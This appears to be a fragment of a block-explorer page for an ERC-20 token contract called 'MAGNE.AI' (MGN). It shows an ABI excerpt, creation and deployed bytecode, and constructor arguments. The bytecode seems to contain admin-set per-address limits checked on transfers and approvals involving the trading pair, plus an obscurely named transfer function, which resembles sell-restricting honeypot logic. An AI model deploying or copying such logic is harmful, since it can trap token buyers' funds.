"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"sendNDFLRGnvcm","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b50604051612f26380380612f26833981810160405281019061003191906107ee565b838381600890816100429190610a8e565b5080600990816100529190610a8e565b505f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100d99190610b5d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b8152600401610127929190610b97565b6020604051808303815f875af1158015610143573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101679190610b5d565b90508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050506101e1816101bf61020a60201b60201c565b600a6101cb9190610d26565b846101d69190610d70565b61021260201b60201c565b6102005f801b6101f561029760201b60201c565b61029e60201b60201c565b5050505050610e5a565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610282575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016102799190610db1565b60405180910390fd5b6102935f838361039460201b60201c565b5050565b5f33905090565b5f6102af83836105b060201b60201c565b61038a57600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061032761029760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a46001905061038e565b5f90505b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036103e4578060075f8282546103d89190610dca565b925050819055506104b4565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561046e578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161046593929190610e0c565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036104fb578060075f8282540392505081905550610546565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105a39190610e41565b60405180910390a3505050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6106738261062d565b810181811067ffffffffffffffff821117156106925761069161063d565b5b80604052505050565b5f6106a4610614565b90506106b0828261066a565b919050565b5f67ffffffffffffffff8211156106cf576106ce61063d565b5b6106d88261062d565b9050602081019050919050565b8281835e5f83830152505050565b5f610705610700846106b5565b61069b565b90508281526020810184848401111561072157610720610629565b5b61072c8482856106e5565b509392505050565b5f82601f83011261074857610747610625565b5b81516107588482602086016106f3565b91505092915050565b5f819050919050565b61077381610761565b811461077d575f80fd5b50565b5f8151905061078e8161076a565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6107bd82610794565b9050919050565b6107cd816107b3565b81146107d7575f80fd5b50565b5f815190506107e8816107c4565b92915050565b5f805f80608085870312156108065761080561061d565b5b5f85015167ffffffffffffffff81111561082357610822610621565b5b61082f87828801610734565b945050602085015167ffffffffffffffff8111156108505761084f610621565b5b61085c87828801610734565b935050604061086d87828801610780565b925050606061087e878288016107da565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108d857607f821691505b6020821081036108eb576108ea610894565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261094d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610912565b6109578683610912565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61099261098d61098884610761565b61096f565b610761565b9050919050565b5f819050919050565b6109ab83610978565b6109bf6109b782610999565b84845461091e565b825550505050565b5f90565b6109d36109c7565b6109de8184846109a2565b505050565b5b81811015610a01576109f65f826109cb565b6001810190506109e4565b5050565b601f821115610a4657610a17816108f1565b610a2084610903565b81016020851015610a2f578190505b610a43610a3b85610903565b8301826109e3565b50505b505050565b5f82821c905092915050565b5f610a665f1984600802610a4b565b1980831691505092915050565b5f610a7e8383610a57565b9150826002028217905092915050565b610a978261088a565b67ffffffffffffffff811115610ab057610aaf61063d565b5b610aba82546108c1565b610ac5828285610a05565b5f60209050601f831160018114610af6575f8415610ae4578287015190505b610aee8582610a73565b865550610b55565b601f198416610b04866108f1565b5f5b82811015610b2b57848901518255600182019150602085019450602081019050610b06565b86831015610b485784890151610b44601f891682610a57565b8355505b6001600288020188555050505b505050505050565b5f60208284031215610b7257610b7161061d565b5b5f610b7f848285016107da565b91505092915050565b610b91816107b3565b82525050565b5f604082019050610baa5f830185610b88565b610bb76020830184610b88565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610c4057808604811115610c1c57610c1b610bbe565b5b6001851615610c2b5780820291505b8081029050610c3985610beb565b9450610c00565b94509492505050565b5f82610c585760019050610d13565b81610c65575f9050610d13565b8160018114610c7b5760028114610c8557610cb4565b6001915050610d13565b60ff841115610c9757610c96610bbe565b5b8360020a915084821115610cae57610cad610bbe565b5b50610d13565b5060208310610133831016604e8410600b8410161715610ce95782820a905083811115610ce457610ce3610bbe565b5b610d13565b610cf68484846001610bf7565b92509050818404811115610d0d57610d0c610bbe565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610d3082610761565b9150610d3b83610d1a565b9250610d687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610c49565b905092915050565b5f610d7a82610761565b9150610d8583610761565b9250828202610d9381610761565b91508282048414831517610daa57610da9610bbe565b5b5092915050565b5f602082019050610dc45f830184610b88565b92915050565b5f610dd482610761565b9150610ddf83610761565b9250828201905080821115610df757610df6610bbe565b5b92915050565b610e0681610761565b82525050565b5f606082019050610e1f5f830186610b88565b610e2c6020830185610dfd565b610e396040830184610dfd565b949350505050565b5f602082019050610e545f830184610dfd565b92915050565b6120bf80610e675f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c806336568abe116100ab578063a217fddf1161006f578063a217fddf14610305578063a9059cbb14610323578063b3026fe714610353578063d547741f14610383578063dd62ed3e1461039f5761011f565b806336568abe1461024f57806370a082311461026b57806391d148541461029b57806395d89b41146102cb5780639df9df28146102e95761011f565b806318160ddd116100f257806318160ddd1461019757806323b872dd146101b5578063248a9ca3146101e55780632f2ff15d14610215578063313ce567146102315761011f565b8063066f70eb1461012357806306d7babc1461013f57806306fdde0314610149578063095ea7b314610167575b5f80fd5b61013d600480360381019061013891906117eb565b6103cf565b005b61014761041e565b005b610151610434565b60405161015e9190611886565b60405180910390f35b610181600480360381019061017c91906118d9565b6104c4565b60405161018e9190611931565b60405180910390f35b61019f6104e6565b6040516101ac9190611959565b60405180910390f35b6101cf60048036038101906101ca9190611972565b6104ef565b6040516101dc9190611931565b60405180910390f35b6101ff60048036038101906101fa91906119f5565b61051d565b60405161020c9190611a2f565b60405180910390f35b61022f600480360381019061022a9190611a48565b61053a565b005b61023961055c565b6040516102469190611aa1565b60405180910390f35b61026960048036038101906102649190611a48565b610564565b005b610285600480360381019061028091906117eb565b6105df565b6040516102929190611959565b60405180910390f35b6102b560048036038101906102b09190611a48565b610625565b6040516102c29190611931565b60405180910390f35b6102d3610689565b6040516102e09190611886565b60405180910390f35b61030360048036038101906102fe9190611be6565b610719565b005b61030d610790565b60405161031a9190611a2f565b60405180910390f35b61033d600480360381019061033891906118d9565b610796565b60405161034a9190611931565b60405180910390f35b61036d600480360381019061036891906118d9565b6107b8565b60405161037a9190611931565b60405180910390f35b61039d60048036038101906103989190611a48565b610849565b005b6103b960048036038101906103b49190611c40565b61086b565b6040516103c69190611959565b60405180910390f35b5f801b6103db816108ed565b815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f801b61042a816108ed565b6001808190555050565b60606008805461044390611cab565b80601f016020809104026020016040519081016040528092919081815260200182805461046f90611cab565b80156104ba5780601f10610491576101008083540402835291602001916104ba565b820191905f5260205f20905b81548152906001019060200180831161049d57829003601f168201915b5050505050905090565b5f806104ce610901565b90506104db818585610908565b600191505092915050565b5f600754905090565b5f806104f9610901565b905061050685828561091a565b6105118585856109ad565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6105438261051d565b61054c816108ed565b6105568383610ab4565b50505050565b5f6012905090565b61056c610901565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146105d0576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105da8282610b9e565b505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b60606009805461069890611cab565b80601f01602080910402602001604051908101604052809291908181526020018280546106c490611cab565b801561070f5780601f106106e65761010080835404028352916020019161070f565b820191905f5260205f20905b8154815290600101906020018083116106f257829003601f168201915b5050505050905090565b5f801b610725816108ed565b5f8061073084610c88565b80925081935050505f151581151503610775576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f82106107895761078885836001610d99565b5b5050505050565b5f801b81565b5f806107a0610901565b90506107ad8185856109ad565b600191505092915050565b5f805f1b6107c5816108ed565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610800929190611cea565b6020604051808303815f875af115801561081c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108409190611d3b565b91505092915050565b6108528261051d565b61085b816108ed565b6108658383610b9e565b50505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6108fe816108f9610901565b610e67565b50565b5f33905090565b6109158383836001610eb8565b505050565b5f610925848461086b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156109a75781811015610998578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161098f93929190611d66565b60405180910390fd5b6109a684848484035f610eb8565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a1d575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610a149190611d9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a8d575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610a849190611d9b565b60405180910390fd5b610a988383836111d6565b610aaf838383610aaa5f801b88610625565b6113f2565b505050565b5f610abf8383610625565b610b9457600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610b31610901565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050610b98565b5f90505b92915050565b5f610ba98383610625565b15610c7e575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610c1b610901565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050610c82565b5f90505b92915050565b5f805f5b8351811015610d8b575f6030858381518110610cab57610caa611db4565b5b602001015160f81c60f81b60f81c610cc39190611e0e565b60ff161080610d01575060096030858381518110610ce457610ce3611db4565b5b602001015160f81c60f81b60f81c610cfc9190611e0e565b60ff16115b15610d12575f809250925050610d94565b6001818551610d219190611e42565b610d2b9190611e42565b600a610d379190611fa4565b6030858381518110610d4c57610d4b611db4565b5b602001015160f81c60f81b60f81c610d649190611e0e565b60ff16610d719190611fee565b83610d7c919061202f565b92508080600101915050610c8c565b50816001915091505b915091565b8015610e0c57670de0b6b3a764000082610db39190611fee565b60035f805f1b81526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610e62565b8160035f805f1b81526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b610e718282610625565b610eb45780826040517fe2517d3f000000000000000000000000000000000000000000000000000000008152600401610eab929190612062565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610f1f9190611d9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f98575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f8f9190611d9b565b60405180910390fd5b5f8260035f805f1b81526020019081526020015f206001015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ff6919061202f565b90507370cbb871e8f30fc8ce23609e9e0ea87b6b222f5873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110e6575f808411801561109f575060035f805f1b81526020019081526020015f206001015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205482115b905080156110e4575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016110db9190611d9b565b60405180910390fd5b505b8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081156111cf578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516111c69190611959565b60405180910390a35b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226578060075f82825461121a919061202f565b925050819055506112f6565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112b0578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016112a793929190611d66565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361133d578060075f8282540392505081905550611388565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113e59190611959565b60405180910390a3505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036114da575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114d557826040517fec442f050000000000000000000000000000000000000000000000000000000081526004016114cc9190611d9b565b60405180910390fd5b6114f5565b806114f45760018054036114f3576114f284836114fb565b5b5b5b50505050565b5f8160035f805f1b81526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611559919061202f565b90505f60035f805f1b81526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541180156115b957505f82115b1561166e575f8111801561161c575060035f805f1b81526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205481115b1561165e575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016116559190611d9b565b60405180910390fd5b61166983825f6116b0565b6116ab565b5f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016116a29190611d9b565b60405180910390fd5b505050565b801561172457670de0b6b3a7640000826116ca9190611fee565b60035f805f1b81526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061177b565b8160035f805f1b81526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117ba82611791565b9050919050565b6117ca816117b0565b81146117d4575f80fd5b50565b5f813590506117e5816117c1565b92915050565b5f60208284031215611800576117ff611789565b5b5f61180d848285016117d7565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61185882611816565b6118628185611820565b9350611872818560208601611830565b61187b8161183e565b840191505092915050565b5f6020820190508181035f83015261189e818461184e565b905092915050565b5f819050919050565b6118b8816118a6565b81146118c2575f80fd5b50565b5f813590506118d3816118af565b92915050565b5f80604083850312156118ef576118ee611789565b5b5f6118fc858286016117d7565b925050602061190d858286016118c5565b9150509250929050565b5f8115159050919050565b61192b81611917565b82525050565b5f6020820190506119445f830184611922565b92915050565b611953816118a6565b82525050565b5f60208201905061196c5f83018461194a565b92915050565b5f805f6060848603121561198957611988611789565b5b5f611996868287016117d7565b93505060206119a7868287016117d7565b92505060406119b8868287016118c5565b9150509250925092565b5f819050919050565b6119d4816119c2565b81146119de575f80fd5b50565b5f813590506119ef816119cb565b92915050565b5f60208284031215611a0a57611a09611789565b5b5f611a17848285016119e1565b91505092915050565b611a29816119c2565b82525050565b5f602082019050611a425f830184611a20565b92915050565b5f8060408385031215611a5e57611a5d611789565b5b5f611a6b858286016119e1565b9250506020611a7c858286016117d7565b9150509250929050565b5f60ff82169050919050565b611a9b81611a86565b82525050565b5f602082019050611ab45f830184611a92565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611af88261183e565b810181811067ffffffffffffffff82111715611b1757611b16611ac2565b5b80604052505050565b5f611b29611780565b9050611b358282611aef565b919050565b5f67ffffffffffffffff821115611b5457611b53611ac2565b5b611b5d8261183e565b9050602081019050919050565b828183375f83830152505050565b5f611b8a611b8584611b3a565b611b20565b905082815260208101848484011115611ba657611ba5611abe565b5b611bb1848285611b6a565b509392505050565b5f82601f830112611bcd57611bcc611aba565b5b8135611bdd848260208601611b78565b91505092915050565b5f8060408385031215611bfc57611bfb611789565b5b5f611c09858286016117d7565b925050602083013567ffffffffffffffff811115611c2a57611c2961178d565b5b611c3685828601611bb9565b9150509250929050565b5f8060408385031215611c5657611c55611789565b5b5f611c63858286016117d7565b9250506020611c74858286016117d7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611cc257607f821691505b602082108103611cd557611cd4611c7e565b5b50919050565b611ce4816117b0565b82525050565b5f604082019050611cfd5f830185611cdb565b611d0a602083018461194a565b9392505050565b611d1a81611917565b8114611d24575f80fd5b50565b5f81519050611d3581611d11565b92915050565b5f60208284031215611d5057611d4f611789565b5b5f611d5d84828501611d27565b91505092915050565b5f606082019050611d795f830186611cdb565b611d86602083018561194a565b611d93604083018461194a565b949350505050565b5f602082019050611dae5f830184611cdb565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e1882611a86565b9150611e2383611a86565b9250828203905060ff811115611e3c57611e3b611de1565b5b92915050565b5f611e4c826118a6565b9150611e57836118a6565b9250828203905081811115611e6f57611e6e611de1565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115611eca57808604811115611ea657611ea5611de1565b5b6001851615611eb55780820291505b8081029050611ec385611e75565b9450611e8a565b94509492505050565b5f82611ee25760019050611f9d565b81611eef575f9050611f9d565b8160018114611f055760028114611f0f57611f3e565b6001915050611f9d565b60ff841115611f2157611f20611de1565b5b8360020a915084821115611f3857611f37611de1565b5b50611f9d565b5060208310610133831016604e8410600b8410161715611f735782820a905083811115611f6e57611f6d611de1565b5b611f9d565b611f808484846001611e81565b92509050818404811115611f9757611f96611de1565b5b81810290505b9392505050565b5f611fae826118a6565b9150611fb9836118a6565b9250611fe67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ed3565b905092915050565b5f611ff8826118a6565b9150612003836118a6565b9250828202612011816118a6565b9150828204841483151761202857612027611de1565b5b5092915050565b5f612039826118a6565b9150612044836118a6565b925082820190508082111561205c5761205b611de1565b5b92915050565b5f6040820190506120755f830185611cdb565b6120826020830184611a20565b939250505056fea26469706673582212209a49ed64ff3a824bba1e9a939c98be438412832af7b856c618a6356f76f42f0864736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000444f469376200fdce6c9fe782c8be17cb808add700000000000000000000000000000000000000000000000000000000000000084d41474e452e414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d474e0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c806336568abe116100ab578063a217fddf1161006f578063a217fddf14610305578063a9059cbb14610323578063b3026fe714610353578063d547741f14610383578063dd62ed3e1461039f5761011f565b806336568abe1461024f57806370a082311461026b57806391d148541461029b57806395d89b41146102cb5780639df9df28146102e95761011f565b806318160ddd116100f257806318160ddd1461019757806323b872dd146101b5578063248a9ca3146101e55780632f2ff15d14610215578063313ce567146102315761011f565b8063066f70eb1461012357806306d7babc1461013f57806306fdde0314610149578063095ea7b314610167575b5f80fd5b61013d600480360381019061013891906117eb565b6103cf565b005b61014761041e565b005b610151610434565b60405161015e9190611886565b60405180910390f35b610181600480360381019061017c91906118d9565b6104c4565b60405161018e9190611931565b60405180910390f35b61019f6104e6565b6040516101ac9190611959565b60405180910390f35b6101cf60048036038101906101ca9190611972565b6104ef565b6040516101dc9190611931565b60405180910390f35b6101ff60048036038101906101fa91906119f5565b61051d565b60405161020c9190611a2f565b60405180910390f35b61022f600480360381019061022a9190611a48565b61053a565b005b61023961055c565b6040516102469190611aa1565b60405180910390f35b61026960048036038101906102649190611a48565b610564565b005b610285600480360381019061028091906117eb565b6105df565b6040516102929190611959565b60405180910390f35b6102b560048036038101906102b09190611a48565b610625565b6040516102c29190611931565b60405180910390f35b6102d3610689565b6040516102e09190611886565b60405180910390f35b61030360048036038101906102fe9190611be6565b610719565b005b61030d610790565b60405161031a9190611a2f565b60405180910390f35b61033d600480360381019061033891906118d9565b610796565b60405161034a9190611931565b60405180910390f35b61036d600480360381019061036891906118d9565b6107b8565b60405161037a9190611931565b60405180910390f35b61039d60048036038101906103989190611a48565b610849565b005b6103b960048036038101906103b49190611c40565b61086b565b6040516103c69190611959565b60405180910390f35b5f801b6103db816108ed565b815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f801b61042a816108ed565b6001808190555050565b60606008805461044390611cab565b80601f016020809104026020016040519081016040528092919081815260200182805461046f90611cab565b80156104ba5780601f10610491576101008083540402835291602001916104ba565b820191905f5260205f20905b81548152906001019060200180831161049d57829003601f168201915b5050505050905090565b5f806104ce610901565b90506104db818585610908565b600191505092915050565b5f600754905090565b5f806104f9610901565b905061050685828561091a565b6105118585856109ad565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6105438261051d565b61054c816108ed565b6105568383610ab4565b50505050565b5f6012905090565b61056c610901565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146105d0576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6105da8282610b9e565b505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b60606009805461069890611cab565b80601f01602080910402602001604051908101604052809291908181526020018280546106c490611cab565b801561070f5780601f106106e65761010080835404028352916020019161070f565b820191905f5260205f20905b8154815290600101906020018083116106f257829003601f168201915b5050505050905090565b5f801b610725816108ed565b5f8061073084610c88565b80925081935050505f151581151503610775576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f82106107895761078885836001610d99565b5b5050505050565b5f801b81565b5f806107a0610901565b90506107ad8185856109ad565b600191505092915050565b5f805f1b6107c5816108ed565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610800929190611cea565b6020604051808303815f875af115801561081c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108409190611d3b565b91505092915050565b6108528261051d565b61085b816108ed565b6108658383610b9e565b50505050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6108fe816108f9610901565b610e67565b50565b5f33905090565b6109158383836001610eb8565b505050565b5f610925848461086b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156109a75781811015610998578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161098f93929190611d66565b